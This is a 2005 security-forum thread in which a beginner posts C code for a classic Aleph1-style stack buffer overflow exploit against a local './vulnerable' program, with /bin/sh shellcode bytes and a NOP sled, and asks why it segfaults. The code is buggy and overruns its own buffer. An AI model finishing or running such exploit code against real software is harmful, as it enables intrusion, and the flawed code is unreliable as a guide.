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IT Security and Insecurity Portal |
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Writing buffer overflows - new to the compsec thing |
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 Posted: Tue Oct 11, 2005 4:38 pm |
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| bej |
| Beginner |
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| Joined: Oct 11, 2005 |
| Posts: 3 |
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Hello, I'm trying to write an exploit for a particular software. As usual, I'm having trouble. I've read a few documents on BOs and absorbed the information fairly well. However, I'm still having some trouble.
Let me give you some background:
Platform is Linux x86. The buffer is an array of 20 chars. EIP is 28 bytes away. ESP is at 0xbffff6f4.
Here's my code. I probably don't fully understand this. If so, please correct me.
| Code: |
#define NOP '\x90'
#define EXIT 0
typedef unsigned long ulong;
char shellcode[] =
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
ulong getesp(void)
{
asm("movl %esp, %eax");
}
int main()
{
int i;
char buff[52], *ptr;
long *ptr2;
ulong esp = getesp();
ptr2 = buff;
ptr = (long *) ptr2;
for (i = 0; i < 51; i++)
{
*(ptr2++) = esp;
}
/* segfault around here */
for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1); i++)
{
buff[i] = NOP;
}
/* segfault around here */
for (i=0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buff[52] = 0;
printf("gogogo!\n");
execl("./vulnerable", "vulnerable", buff, 0);
return (EXIT);
}
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| Posted: Wed Oct 19, 2005 3:59 pm |
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| bej |
| Beginner |
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| Joined: Oct 11, 2005 |
| Posts: 3 |
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Please? I modified a portion of the code that I thought was incorrect. Now it segfaults in a different part:
| Code: |
for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1 - sizeof(esp)); i++)
{
buff[i] = NOP;
}
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I may have been overwriting the return address with NOPs, right? I'm very confused. 
I'm using Aleph1's method, btw. |
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